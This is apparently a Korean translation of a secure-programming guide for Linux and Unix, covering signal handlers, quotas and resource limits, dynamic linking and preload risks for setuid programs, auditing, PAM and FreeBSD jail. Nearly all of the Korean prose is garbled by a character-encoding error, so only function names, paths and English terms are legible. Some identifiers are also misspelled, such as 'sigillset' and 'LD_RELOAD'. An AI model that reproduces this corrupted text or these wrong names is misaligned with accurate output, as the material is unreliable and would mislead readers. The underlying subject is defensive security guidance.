½Ã±×³ÎÀº À¯´Ð½º °è¿­ OS ¼¼°è¿¡¼­ ``ÀÎÅÍ·´¼Ç (interruption, Áß´Ü)"ÀÇ °£´ÜÇÑ ÇüÅ·ΠÀ¯´Ð½ºÀÇ ¾ÆÁÖ ¿À·¡µÈ ºÎºÐÀÌ´Ù. ÇÁ·Î¼¼½º´Â ´Ù¸¥ ÇÁ·Î¼¼½º¿¡ ``½Ã±×³Î"À» ¼³Á¤ÇÒ ¼ö ÀÖÀ¸¸ç (kill(1) ¶Ç´Â kill(2) ¸¦ »ç¿ëÇÏ¿©) ´Ù¸¥ ÇÁ·Î¼¼½º´Â ºñµ¿±âÀûÀ¸·Î ½Ã±×³ÎÀ» ¹Þ¾Æ ó¸®ÇÒ ¼ö ÀÖ´Ù. ÇÁ·Î¼¼½º°¡ ¾î¶² ´Ù¸¥ ÇÁ·Î¼¼½º¿¡ ½Ã±×³ÎÀ» º¸³»´Â °ÍÀÌ Çã¿ëµÇ±â À§Çؼ­´Â ±× ÇÁ·Î¼¼½º°¡ ·çÆ® ±ÇÇÑÀ» °®°Å³ª ½ÇÁ¦ ¶Ç´Â À¯È¿ »ç¿ëÀÚ ID °¡ ½Ã±×³ÎÀ» ¹Þ´Â ÇÁ·Î¼¼½ºÀÇ ½ÇÁ¦ ¶Ç´Â À¯º¸µÈ (saved) set-user-ID ¿Í µ¿ÀÏÇØ¾ß ÇÑ´Ù. ±×·¯³ª ¸î¸î ½Ã±×³ÎÀº ´Ù¸¥ ¹æ¹ýÀ¸·Î º¸³»Áú ¼ö ÀÖ´Ù. ƯÈ÷ SIGURG ´Â TCP/IP ÀÇ out of band (OOB) ¸Þ½ÃÁö¸¦ ÅëÇÑ ³×Æ®¿öÅ©¸¦ ÅëÇØ Àü´ÞµÉ ¼ö ÀÖ´Ù.

½Ã±×³ÎÀÌ À¯´Ð½ºÀÇ ¾ÆÁÖ ¿À·¡µÈ ºÎºÐÀÓ¿¡µµ ºÒ±¸ÇÏ°í ½Ã±×³ÎÀº ¿©·¯°¡Áö ±¸Çö¿¡¼­ ´Ù¸¥ ÀÇ¹Ì Ã¼°è¸¦ °®´Â´Ù. ±âº»ÀûÀ¸·Î "´Ù¸¥ ½Ã±×³ÎÀ» ó¸®ÇÏ´Â µ¿¾È ½Ã±×³ÎÀÌ ¹ß»ýÇÏ¸é ¾î¶² ÀÏÀÌ »ý±æ±î?" ÇÏ´Â Áú¹®ÀÌ ÇÑ ¿¹°¡ µÉ ¼ö Àִµ¥ »õ·Î¿î GNU libc ¶óÀ̺귯¸®º¸´Ù ¿À·¡µÈ ¸®´ª½º libc 5 ´Â ¾î¶² ½Ã±×³Î ¿¬»ê¿¡ ´ëÇØ ÀÏ·ÃÀÇ ´Ù¸¥ ÀÇ¹Ì Ã¼°è¸¦ »ç¿ëÇß´Ù. ½Ã±×³Î Çڵ鷯³»¿¡¼­ C ¶óÀ̺귯¸® ÇÔ¼ö¸¦ È£ÃâÇÏ´Â °ÍÀÌ ÇʼöÀûÀ¸·Î ¾ÈÀüÇÏÁö´Â ¾ÊÀºµ¥ °¢ È£Ãâ¿¡ ´ëÇØ ¹®¼­¸¦ Á¶»çÇÒ Çʿ䰡 ÀÖ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â glibc FAQ ¸¦ º¸¶ó (¾î¶² ½Ã½ºÅÛ¿¡¼­´Â /usr/doc/glibc-*/FAQ ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù).

»õ·Î¿î ÇÁ·Î±×·¥¿¡ ´ëÇØ¼­´Â ´ÜÁö POSIX ½Ã±×³Î ½Ã½ºÅÛ (BSD ¿¡ ±âÃÊÇÑ) À» »ç¿ëÇØ¶ó; ÀÌ´Â ³Î¸® Áö¿øµÇ°í ÀÖÀ¸¸ç ¿À·¡µÈ ½Ã±×³Î ½Ã½ºÅÛÀÌ °®°í ÀÖ´ø ¹®Á¦°¡ ¾ø´Ù. POSIX ½Ã±×³Î ½Ã½ºÅÛÀº sigset_t µ¥ÀÌŸ ŸÀÔ »ç¿ë¿¡ ±âÃÊÇϴµ¥ sigemptyset(), sigillset(), sigaddset(), sigdelset() °ú sigismember() µéÀÇ ÀÏ·ÃÀÇ ¿¬»êÀ» ÅëÇØ Á¶ÀÛµÉ ¼ö ÀÖ´Ù. sigsetops(3) ¿¡¼­ ÀÌ¿¡ ´ëÇØ ÀÐÀ» ¼ö Àִµ¥ manipulate ½Ã±×³Î Çڵ鸵À» ¼³Á¤Çϱâ À§Çؼ­´Â sigaction(2), sigprocmask(2) ¿Í sigsuspend(2) ¸¦ »ç¿ëÇØ¶ó (´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â ¸Ç ÆäÀÌÁö¸¦ º¸¶ó).

ÀϹÝÀûÀ¸·Î ¸ðµç ½Ã±×³Î Çڵ鷯´Â ¸Å¿ì ª°í °£´ÜÇÏ°Ô ¸¸µé°í °æÀï »óŸ¦ ÁÖÀÇÇØ¼­ ã¾Æ¶ó. ½Ã±×³ÎÀº º»ÁúÀûÀ¸·Î ºñµ¿±âÀûÀ̱⠶§¹®¿¡ ½±°Ô °æÀï »óŸ¦ ¾ß±âÇÒ ¼ö ÀÖ´Ù.

¼­¹ö¿¡ ´ëÇØ °øÅëµÈ °ü·Ê°¡ Á¸ÀçÇÑ´Ù: SIGHUP ½Ã±×³ÎÀ» ¹ÞÀ¸¸é ¸ðµç ·Î±× ÆÄÀÏÀ» ´Ý°í ¼³Á¤ÆÄÀÏÀ» ´Ù½Ã ¿­¾î ´Ù½Ã ÀÐÀº ÈÄ ·Î±× ÆÄÀÏÀ» ´Ù½Ã ¿­¾î¾ß ÇÑ´Ù. À̸¦ ÅëÇØ ¼­¹ö¸¦ ÁßÁöÇÏÁö ¾Ê°í Àç¼³Á¤ÇÒ ¼ö ÀÖÀ¸¸ç µ¥ÀÌŸ ¼Õ½Ç¾øÀÌ ·Î±× ¼øÈ¯ (rotation) À» ÇÒ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ °ü·Ê¸¦ µû¶ó¾ß ÇÏ´Â ¼­¹ö¸¦ ÀÛ¼ºÇϰí ÀÖ´Ù¸é À̸¦ Áö¿øÇϱ⠹ٶõ´Ù.

Michal Zalewski [2001] Àº ½Ã±×³Î Çڵ鷯°¡ ¾î¶»°Ô ¾Ç¿ëµÇ´Â°¡¿¡ ´ëÇÑ ÈǸ¢ÇÑ Áöµµ¼­¸¦ ÀÛ¼ºÇÏ¿´°í ½Ã±×³Î °æÀï ¹®Á¦¸¦ Á¦°ÅÇÏ´Â ¹æ¹ý¿¡ ´ëÇÑ ±Ç°í¸¦ ÇÏ¿´´Ù. ÀúÀÚ´Â ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ À§ÇØ ¿ä¾àÀ» º¸±â¸¦ ±ÇÇÑ´Ù; ´ÙÀ½Àº ÀúÀÚÀÇ ±Ç°í¾ÈÀ¸·Î Michal ÀÇ °Í°ú À¯»çÇÑ °ÍÀÌ´Ù:

  • °¡´ÉÇÑ ½Ã±×³Î Çڵ鷯¸¦ ¹«Á¶°ÇÀûÀ¸·Î ƯÁ¤ Ç÷¡±×·Î ¼³Á¤ÇÏ°í ±× ¹ÛÀÇ ´Ù¸¥ °ÍÀº ÇÏÁö ¸¶¶ó.

  • ´õ¿í º¹ÀâÇÑ ½Ã±×³Î Çڵ鷯°¡ ÇÊ¿äÇÏ´Ù¸é ½Ã±×³Î Çڵ鷯¿¡¼­ »ç¿ëÇϱ⿡ ¾ÈÀüÇÏ´Ù°í ¸íÈ®ÇÏ°Ô ÁöÀûµÈ È£Ãâµé¸¸ »ç¿ëÇØ¶ó. ´ëºÎºÐÀÇ ½Ã½ºÅÛ¿¡¼­ ½Ã±×³Î¿¡ ´ëÇØ º¸È£µÇÁö ¾Ê´Â C ÀÇ malloc() ¶Ç´Â free() ¶Ç´Â À̵鿡 ÀÇÁ¸ÇÏ´Â (printf() °è¿­ ¹× syslog()) ÇÔ¼öµéÀ» »ç¿ëÇÏÁö ¸¶¶ó. ÀçÁøÀÔ (re-entry) À» ÇÇÇϱâ À§ÇØ Àü¿ª Ç÷¡±×¿¡ ´ëÇÑ °Ë»ç¸¦ ÀÌ¿ëÇØ ºñº¸¾ÈÀûÀÎ ¶óÀ̺귯¸® È£Ãâ¿¡ ´ëÇÑ È£ÃâÀ» ``wrap" ÇÒ ¼öµµ ÀÖÁö¸¸ À̸¦ ÃßõÇÏÁö´Â ¾Ê´Â´Ù.

  • ÇÁ·Î±×·¥³»ÀÇ ¸ðµç ºñ¿øÀÚÀû ¿¬»êµ¿¾È°ú ½Ã±×³Î Çڵ鷯³»¿¡¼­ÀÇ ½Ã±×³Î Àü´ÞÀ» ºí·ÏÇØ¶ó.


3.6. ÄõÅÍ¿Í Çѵµ

¸¹Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ÆÄÀϽýºÅÛ ÄõÅÍ (ÇÒ´ç) ¿Í ÇÁ·Î¼¼½º ÀÚ¿ø Çѵµ¸¦ Áö¿øÇÏ´Â ¸ÞÄ«´ÏÁòÀ» °®°í ÀÖÀ¸³à¸ç ¸®´ª½ºµµ Ʋ¸²¾øÀÌ À̸¦ Áö¿øÇÑ´Ù. ÀÌ ¸ÞÄ«´ÏÁòÀº ¼­ºñ½º ºÎÀÎ °ø°ÝÀ» ¿¹¹æÇϴµ¥ ƯÈ÷ À¯¿ëÇѵ¥ °¢ »ç¿ëÀÚ°¡ »ç¿ëÇÒ ¼ö ÀÖ´Â ÀÚ¿ø¿¡ Çѵµ¸¦ ¼³Á¤ÇÔÀ¸·Î½á ÇÑ ¸íÀÇ »ç¿ëÀÚ°¡ ¸ðµç ½Ã½ºÅÛ ÀÚ¿øÀ» ¼ÒºñÇÏ´Â °ÍÀ» ¾î·Æ°Ô ÇÒ ¼ö ÀÖ´Ù. ÆÄÀϽýºÅÛ ÄõÅÍ¿Í ÇÁ·Î¼¼½º ÀÚ¿ø Çѵµ ¸ðµÎ ``hard" ¿Í ``soft" Çѵµ¸¦ °®´Âµ¥ ¿©±â¼­ »ç¿ëµÈ Àü¹® ¿ë¾î¿¡ ÁÖÀÇÇØ¶ó. ¿ë¾î°¡ ¾à°£ ´Ù¸¥ Àǹ̸¦ °®´Â´Ù.

»ç¿ëµÉ ¼ö ÀÖ´Â ½ºÅ丮Áö ºí·Ï ¼ö¿Í/¶Ç´Â °íÀ¯ ÆÄÀÏ ¼ö (¾ÆÀ̳ëµå) ¿¡ ´ëÇØ °¢ ¸¶¿îÆ®Æ÷ÀÎÆ®¿¡ ½ºÅ丮Áö (ÆÄÀϽýºÅÛ) ÄõÅÍ Çѵµ¸¦ Á¤ÀÇÇÒ ¼ö ÀÖÀ¸¸ç »ç¿ëÀÚ ¶Ç´Â ±×·ì¿¡ ´ëÇØ ÀÌ·¯ÇÑ Çѵµ¸¦ ¼³Á¤ÇÒ ¼öµµ ÀÖ´Ù. ``hard" ÄõÅÍ Çѵµ´Â Àý´ë·Î ÃʰúÇØ¼­´Â ¾ÈµÇ´Â ÇѵµÀÌ¸ç ¹Ý¸é ``soft" ÄõÅÍ Çѵµ´Â ÀϽÃÀûÀ¸·Î ÃʰúµÉ ¼ö ÀÖ´Ù. quota(1), quotactl(2) °ú quotaon(8) À» º¸¶ó.

rlimit ¸ÞÄ«´ÏÁòÀº ÆÄÀÏ Å©±â, ÀÚ½Ä ÇÁ·Î¼¼½º ¼ö, ¿ÀÇ ÆÄÀÏ ¼ö µî°ú °°ÀÌ ¸¹Àº ÇÁ·Î¼¼½º ÄõÅ͸¦ Áö¿øÇÑ´Ù. ``soft" Çѵµ (ÇöÀç Çѵµ) ¿Í "hard" Çѵµ (»óÀ§ Çѵµ) °¡ ÀÖÀ¸¸ç soft Çѵµ´Â ¾ðÁ¦³ª ÃʰúµÉ ¼ö ¾øÁö¸¸ È£ÃâÀ» ÅëÇØ hard Çѵµ °ªÀ¸·Î »óÇâ ¼³Á¤µÉ ¼ö ÀÖ´Ù. getrlimit(), setrlimit() °ú getrusage() ¸¦ º¸¶ó. PAM ¸ðµâ pam_limits ¸¦ Æ÷ÇÔÇÏ¿© ÀÌ·¯ÇÑ Çѵµ¸¦ ¼³Á¤Çϱâ À§ÇÑ ¿©·¯°¡Áö ¹æ½ÄÀÌ ÀÖÀ½À» ÁÖ¸ñÇØ¶ó.


3.7. µ¿Àû ¸µÅ© ¶óÀ̺귯¸®

½ÇÁ¦ÀûÀ¸·Î ¸ðµç ÇÁ·Î±×·¥Àº ½ÇÇàµÇ´Â ¶óÀ̺귯¸®¿¡ ÀÇÁ¸Çϴµ¥ ¸®´ª½º¸¦ Æ÷ÇÔÇÑ ÇöÀç ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡¼­ ÇÁ·Î±×·¥Àº µ¿Àû ¸µÅ© ¶óÀ̺귯¸® (Dynamically linked libraries, DLLs) ¸¦ »ç¿ëÇϵµ·Ï ÄÄÆÄÀϵȴÙ. ÀÌ·¯ÇÑ ¹æ½Ä¿¡ ÀÇÇØ ¶óÀ̺귯¸®¸¦ °»½ÅÇÒ ¼ö ÀÖÀ¸¸ç ±× ¶óÀ̺귯¸®¸¦ »ç¿ëÇÏ´Â ÇÁ·Î±×·¥Àº °¡´ÉÇÑ °æ¿ì »õ·Î¿î ¹öÀü (¾Æ¸¶µµ Çâ»óµÈ) À» »ç¿ëÇÒ °ÍÀÌ´Ù.

µ¿Àû ¸µÅ© ¶óÀ̺귯¸®´Â ÀϹÝÀûÀ¸·Î ¸î°³ÀÇ Æ¯Á¤ µð·ºÅ丮µé¿¡ ³õÀ̴µ¥ º¸Åë /lib, /usr/lib, PAM ÀÇ °æ¿ì /lib/security, X À©µµ¿ìÀÇ °æ¿ì /usr/X11R6/lib °ú /usr/local/lib µð·ºÅ丮µéÀÌ ÀÖ´Ù. ÇÁ·Î±×·¥¿¡¼­ ÀÌ·¯ÇÑ Ç¥ÁØ °ü·Ê¸¦ »ç¿ëÇØ¾ß Çϴµ¥, µð¹ö±ëÁßÀÌ ¾Æ´Ï¶ó¸é ÇöÀç µð·ºÅ丮·ÎºÎÅÍ °è»êµÈ °ªÀ» µ¿Àû ¸µÅ© ¶óÀ̺귯¸®¿¡ ´ëÇÑ ¼Ò½º·Î »ç¿ëÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù (°ø°ÝÀÚ°¡ ÀÚ½ÅÀÌ ¼±ÅÃÇÑ ``¶óÀ̺귯¸®" °ªÀ» Ãß°¡ÇÒ ¼öµµ ÀÖÀ» °ÍÀÌ´Ù).

¶óÀ̺귯¸® ³×Àְ̹ú À̵鿡 ´ëÇÑ ½Éº¼¸¯ »ý¼º¿¡ ÀÖ¾î Æ¯º°ÇÑ °ü·Ê°¡ ÀÖ´Ù. ƯÈ÷ ½Éº¼¸¯ »ý¼ºÀ» ÅëÇØ ¶óÀ̺귯¸®¸¦ °»½ÅÇÒ ¼ö ÀÖÀ¸¸ç ¿À·¡µÇ°í ¿ª ȣȯ¼ºÀÌ ¾ø´Â ¶óÀ̺귯¸® »ç¿ëÀ» ¿øÇÏ´Â ÇÁ·Î±×·¥À» Áö¿øÇÒ ¼öµµ ÀÖ´Ù. Ưº°ÇÑ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¶§ ƯÁ¤ ¶óÀ̺귯¸® ¶Ç´Â ¶óÀ̺귯¸®³»ÀÇ Æ¯Á¤ ÇÔ¼ö¸¸À» ÀçÁ¤ÀÇÇÒ ¼ö ÀÖ´Â ¹æ¹ýµéµµ ÀÖ´Ù. ÀÌ´Â À©µµ¿ì °è¿­ ½Ã½ºÅÛ¿¡ ´ëÇÑ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÇ ÀåÁ¡ÀÌ´Ù; ÀúÀÚ´Â À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ ¶óÀ̺귯¸® °»½Å¿¡ ´ëÇØ ´õ¿í ÈǸ¢ÇÑ ½Ã½ºÅÛÀ̶ó°í ¹Ï°í Àִµ¥ À̰ÍÀÌ À¯´Ð½º¿Í ¸®´ª½º ½Ã½ºÅÛÀÌ À©µµ¿ì ±â¹Ý ½Ã½ºÅÛº¸´Ù ´õ¿í ¾ÈÁ¤ÇÏ´Ù°í Æò°¡µÇ´Â ÇѰ¡Áö ÀÌÀ¯ÀÌ´Ù.

¸ðµç ¸®´ª½º ½Ã½ºÅÛÀ» Æ÷ÇÔÇÏ¿© GNU glibc ¿¡ ±âÃÊÇÑ ½Ã½ºÅÛ¿¡¼­ ÇÁ·Î±×·¥ ½Ãµ¿Áß¿¡ ÀÚµ¿ÀûÀ¸·Î °Ë»öµÇ´Â µð·ºÅ丮 ¸ñ·ÏÀº /etc/ld.so.conf ÆÄÀÏ¿¡ ÀúÀåµÇ¾î ÀÖ´Ù. ¸¹Àº ·¹µåÇÞ¿¡¼­ ÆÄ»ýµÈ ¹èÆ÷ÆÇµéÀº ÀϹÝÀûÀ¸·Î /etc/ld.so.conf ÆÄÀÏ¿¡ /usr/local/lib ÀÌ Æ÷ÇԵǾî ÀÖÁö ¾Ê´Ù. ÀúÀÚ´Â À̸¦ ¹ö±×¶ó°í »ý°¢Çϴµ¥ ÀÌ·¯ÇÑ ¹èÆ÷ÆÇ¿¡¼­ ¸¹Àº ÇÁ·Î±×·¥µéÀ» ÀÛµ¿½Ã۱â À§Çؼ­´Â /usr/local/lib ¸¦ /etc/ld.so.conf ¿¡ Ãß°¡ÇÏ´Â ¼öÁ¤ ÀÛ¾÷ÀÌ ÇÊ¿äÇÏ´Ù. ¶óÀ̺귯¸®¿¡¼­ ´ÜÁö ¸î°³ÀÇ ÇÔ¼ö¸¦ ÀçÁ¤ÀÇÇÏ°í ³ª¸ÓÁö¸¦ ±×´ë·Î ÀÌ¿ëÇÏ·Á¸é /etc/ld.so.preload ¿¡ ÀçÁ¤ÀÇ ¶óÀ̺귯¸® (.o ÆÄÀÏ) À̸§À» ³Ö¾îÁÙ ¼ö ÀÖ´Ù; ÀÌ·± ``¼±ÀûÀç" ¶óÀ̺귯¸®´Â Ç¥ÁØ ¶óÀ̺귯¸®¿¡ ¿ì¼±µÈ´Ù. ÀÌ ¼±ÀûÀç ÆÄÀÏÀº ÀϹÝÀûÀ¸·Î ÀÀ±Þ ÆÐÄ¡¸¦ À§ÇØ »ç¿ëµÇ´Âµ¥ ¹èÆ÷ÆÇÀº Ãâ½ÃµÉ ¶§ ÀϹÝÀûÀ¸·Î ÀÌ·¯ÇÑ ÆÄÀÏÀ» Æ÷ÇÔÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù. ÇÁ·Î±×·¥ ½Ãµ¿½Ã¿¡ ÀÌ·± ¸ðµç µð·ºÅ丮¸¦ °Ë»öÇÏ´Â °ÍÀº ¸Å¿ì ¸¹Àº ½Ã°£ÀÌ °É¸®´Âµ¥ ½ÇÁ¦·Î´Â ij½Ì ¹æ¹ýÀÌ »ç¿ëµÈ´Ù. ldconfig(8) ÇÁ·Î±×·¥Àº µðÆúÆ®·Î /etc/ld.so.conf ÆÄÀÏÀ» Àоîµé¿© µ¿Àû ¸µÅ© µð·ºÅ丮 (Ç¥ÁØ °ü·Ê¸¦ µû¸¥´Ù) ¿¡ ÀûÀýÇÑ ½Éº¼¸¯ ¸µÅ©¸¦ ¼³Á¤ÇÑ ÈÄ ³ªÁß¿¡ ´Ù¸¥ ÇÁ·Î±×·¥ÀÌ »ç¿ëÇÒ Ä³½Ã¸¦ /etc/ld.so.cache ¿¡ ÀÛ¼ºÇÑ´Ù. µû¶ó¼­ ldconfig °¡ DLL ÀÌ Ãß°¡µÉ¶§¸¶´Ù, DLL ÀÌ Á¦°ÅµÉ¶§ ¶Ç´Â DLL µð·ºÅ丮µéÀÌ º¯°æµÉ ¶§ ½ÇÇàµÇ¾î¾ß ÇÑ´Ù; ldconfig ¸¦ ½ÇÇà½ÃŰ´Â °ÍÀº ¶óÀ̺귯¸®¸¦ ¼³Ä¡ÇÒ ¶§ ÆÐŰÁö °ü¸®ÀÚ°¡ ÀÚÁÖ ¼öÇàÇÏ´Â Á¶Ä¡ÁßÀÇ ÇϳªÀÌ´Ù. ½Ãµ¿½Ã ÇÁ·Î±×·¥Àº µ¿Àû ·Î´õ¸¦ »ç¿ëÇØ /etc/ld.so.cache ÆÄÀÏÀ» ÀÐ¾î µéÀÎ ÈÄ ÇÊ¿ä·Î ÇÏ´Â ¶óÀ̺귯¸®¸¦ ÀûÀçÇÏ´Â °ÍÀÌ´Ù.

´Ù¾çÇÑ È¯°æ º¯¼ö°¡ ÀÌ ÇÁ·Î¼¼½º¸¦ Á¦¾îÇÒ ¼ö ÀÖÀ¸¸ç »ç½Ç ÀÌ ÇÁ·Î¼¼½º¸¦ ÀçÁ¤ÀÇÇÒ ¼ö Àִ ȯ°æ º¯¼ö°¡ ÀÖ´Ù (µû¶ó¼­ Ưº°ÇÑ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ´Â °æ¿ì ÀáÁ¤ÀûÀ¸·Î ´Ù¸¥ ¶óÀ̺귯¸®·Î ´ëüÇÒ ¼ö ÀÖ´Ù). ¸®´ª½º¿¡¼­ LD_LIBRARY_PATH ´Â Ç¥ÁØ µð·ºÅ丮 ÁýÇÕ¿¡ ¾Õ¼­ ¿ì¼±ÀûÀ¸·Î ¶óÀ̺귯¸®°¡ °Ë»öµÇ´Â ÄÝ·ÐÀ¸·Î ºÐ¸®µÈ µð·ºÅ丮 ÁýÇÕÀÌ´Ù; ÀÌ´Â »õ·Î¿î ¶óÀ̺귯¸® µð¹ö±ë ¶Ç´Â Ưº°ÇÑ ¸ñÀûÀ» À§ÇÑ ºñÇ¥ÁØ ¶óÀ̺귯¸® »ç¿ëÇÒ ¶§ À¯¿ëÇÏÁö¸¸ ÀÌ·¯ÇÑ µð·ºÅ丮¸¦ Á¦¾îÇÒ ¼ö ÀÖ´Â ÇØ´ç »ç¿ëÀÚ°¡ À̵éÀ» ½Å·ÚÇØ¾ß ÇÔÀ» ¸í½ÉÇØ¶ó. LD_RELOAD º¯¼ö´Â /etc/ld.so.preload ÆÄÀÏÀÌ ÇÏ´Â °Íó·³ Ç¥ÁØ ÁýÇÕÀ» ÀçÁ¤ÀÇÇÏ´Â ÇÔ¼öµéÀ» °®´Â °´Ã¼ ÆÄÀÏÀ» ¿­°ÅÇÑ´Ù. LD_DEBUG º¯¼ö´Â µð¹ö±ë Á¤º¸¸¦ º¸¿©ÁØ´Ù; ``all" ·Î ¼³Á¤µÈ´Ù¸é µð¹ö±ë½Ã¿¡ µ¿Àû ¸µÅ© ÇÁ·Î¼¼½º¿¡ ´ëÇÑ ¹æ´ëÇÑ Á¤º¸¸¦ º¸¿©ÁØ´Ù.

»ç¿ëÀÚ°¡ µ¿Àû ¸µÅ© ¶óÀ̺귯¸®¸¦ Á¦¾îÇÒ ¼ö ÀÖ°Ô Çã¿ëÇÏ´Â °ÍÀº Ưº°ÇÑ Á¶Ä¡¸¦ ÃëÇÏÁö ¾Ê´Â´Ù¸é setuid/setgid ÇÁ·Î±×·¥ÀÇ °æ¿ì ¸Å¿ì À§ÇèÇÒ °ÍÀÌ´Ù. µû¶ó¼­ GNU glibc ±¸Çö¿¡¼­ setuid ¶Ç´Â setgid ÇÁ·Î±×·¥ÀÇ °æ¿ì ÀÌ·¯ÇÑ º¯¼ö (¶Ç´Â ´Ù¸¥ À¯»çÇÑ º¯¼ö) ´Â ¹«½ÃµÇ°Å³ª ±×µéÀÌ ÇÒ ¼ö ÀÖ´Â °ÍÀÌ Á¦ÇѵȴÙ. GNU glibc ¶óÀ̺귯¸®´Â ÇÁ·Î±×·¥ÀÇ credentials À» °Ë»çÇÔÀ¸·Î½á setuid ¶Ç´Â setgid ÇÁ·Î±×·¥ÀÎÁö¸¦ °áÁ¤ÇÑ´Ù; uid ¿Í euid ¶Ç´Â gid ¿Í egid °¡ ´Ù¸¥ °æ¿ì ¶óÀ̺귯¸®´Â setuid/setgid ÇÁ·Î±×·¥ (¶Ç´Â ÀÌ·¯ÇÑ ÇÁ·Î±×·¥ÀÇ ÀÚ¼Õ) À̶ó°í °£ÁÖÇØ¼­ ¸µÅ©¸¦ Á¦¾îÇÒ ¼ö ÀÖ´Â ´É·ÂÀ» ¸Å¿ì Á¦ÇÑÇÑ´Ù. GNU glibc ¶óÀ̺귯¸®¸¦ ÀûÀçÇÑ´Ù¸é ÀÌ·¯ÇÑ Çö»óÀ» º¼ ¼ö ÀÖ´Ù; ƯÈ÷ elf/rtld.c ¿Í sysdeps/generic/dl-sysdep.c ÆÄÀÏÀ» º¸¶ó. ÀÌ´Â uid ¿Í gid ¸¦ euid ¿Í egid ¿Í °°°Ô ¸¸µé¾î¼­ ÇÁ·Î±×·¥À» È£ÃâÇÏ´Â °æ¿ì ÀÌ·¯ÇÑ º¯¼öµéÀÌ ÃÖ´ëÇÑ ¿µÇâÀ» ¹ÌÄ¥ °ÍÀÓÀ» ÀǹÌÇÑ´Ù. ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ÀÌ »óȲÀ» ´Ù¸£Áö¸¸ µ¿ÀÏÇÑ ÀÌÀ¯·Î ´Ù·é´Ù: setuid/setgid ÇÁ·Î±×·¥Àº ȯ°æ º¯¼ö ¼Â¿¡ ÀÇÇØ ºÎ´çÇÏ°Ô ¿µÇâÀ» ¹ÞÁö ¾Ê¾Æ¾ß ÇÑ´Ù.

¸®´ª½º ½Ã½ºÅÛ¿¡ ´ëÇØ¼­ ÀúÀÚ°¡ ÀÛ¼ºÇÑ ¹®¼­ÀÎ Program Library HOWTO ¿¡¼­ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Ù.


3.8. °¨»ç

¿©·¯°¡Áö À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº °¨»ç¸¦ ´Ù¸£°Ô ´Ù·ç´Âµ¥ ¸®´ª½º¿¡¼­ ´ëºÎºÐÀÇ °øÅëµÈ ``°¨»ç" ¸ÞÄ«´ÏÁòÀº syslogd(8) ·Î º¸Åë klogd(8) °ú ÇÔ²² ÀÛµ¿ÇÑ´Ù. ¶ÇÇÑ wtmp(5), utmp(5), lastlog(8) °ú acct(2) ¸¦ »ìÆìº¼ ¼öµµ ÀÖ´Ù. ¾ÆÆÄÄ¡ À¥¼­¹ö¿Í °°Àº ¾î¶² ¼­¹ö ÇÁ·Î±×·¥µéÀº Àڽŵ鸸ÀÇ °¨»ç ÃßÀû (trail) ÇÁ·Î±×·¥À» °®°í ÀÖ´Ù. FHS ¿¡ µû¶ó °¨»ç ·Î±×´Â /var/log ¶Ç´Â ±× ÇϺΠµð·ºÅ丮¿¡ ÀúÀåµÇ¾î¾ß ÇÑ´Ù.


3.9. PAM

½ã ¼Ö¶ó¸®½º¿Í °ÅÀÇ ¸ðµç ¸®´ª½º ½Ã½ºÅÛÀº ÀÎÁõÀ» À§ÇØ PAM (Pluggable Authenticatoin Module, ÀåÂø½Ä ÀÎÁõ ¸ðµâ) À» »ç¿ëÇÑ´Ù. PAM Àº ÀÎÁõ ¹æ¹ýÀÇ ·±Å¸ÀÓ ¼³Á¤À» Çã¿ëÇÑ´Ù (¿¹, ÆÐ½º¿öµå, ½º¸¶Æ® Ä«µå µîÀÇ »ç¿ë). PAM »ç¿ë¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 10.6절 ¸¦ º¸¶ó.


3.10. À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ» À§ÇÑ Àü¹®ÀûÀÎ º¸¾È È®Àå

¹æ´ëÇÑ ¾çÀÇ ¿¬±¸°ú °³¹ßÀÌ ´Ù¾çÇÑ Ä¿¹Â´ÏƼÀÇ º¸¾È ¿ä±¸¸¦ Áö¿øÇϱâ À§ÇØ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ» È®ÀåÇØ¿Ô´Ù. ¿¹¸¦ µé¾î, ¸î°¡Áö À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ¹Ì±¹ÀÇ ´ÙÁß ¼öÁØÀÇ ±º¿ë º¸¾ÈÀ» Áö¿øÇϱâ È®ÀåµÇ¾îÁ³´Ù. ¼ÒÇÁÆ®¿þ¾î¸¦ °³¹ßÇÏ·Á¸é ÀÌ·¯ÇÑ È®Àå°ú ÇÔ²² ÀÛµ¿µÉ ¼ö ÀÖµµ·Ï ¼ÒÇÁÆ®¿þ¾î ¼³°è¸¦ ÇÏ·Á°í ³ë·ÂÇØ¾ß ÇÑ´Ù.

FreeBSD ´Â jail(2) ¶ó´Â »õ·Î¿î ½Ã½ºÅÛ È£ÃâÀ» °®°í ÀÖ´Ù. jail ½Ã½ºÅÛ È£ÃâÀº ȯ°æÀ» ¸¹Àº °¡»ó ¸Ó½ÅÀ¸·Î ÇϺÎ-ÆÄƼ¼Å´×ÇÒ ¼ö ÀÖ°Ô Áö¿øÇÑ´Ù (``super-chroot" ÀǹÌ); ÀÌ´Â ÀÎÅÍ³Ý ¼­ºñ½º °ø±Þ¾÷ÀÚ (ISP) °¡ °¡»ó ¸Ó½Å ¼­ºñ½º¸¦ Á¦°øÇÒ ¼ö Àִ ȯ°æÀ» ±¸ÃàÇϴµ¥ ÀÖ¾î ¸Å¿ì ³Î¸® »ç¿ëµÇ°í ÀÖ´Ù. jail ³»¿¡¼­ ¸ðµç ÇÁ·Î¼¼½º (·çÆ® ¼ÒÀ¯ÀÇ ÇÁ·Î¼¼½ºÀÏÁö¶óµµ) ´Â jail ·Î Á¦ÇÑµÈ ¿äû ¹üÀ§¸¦ 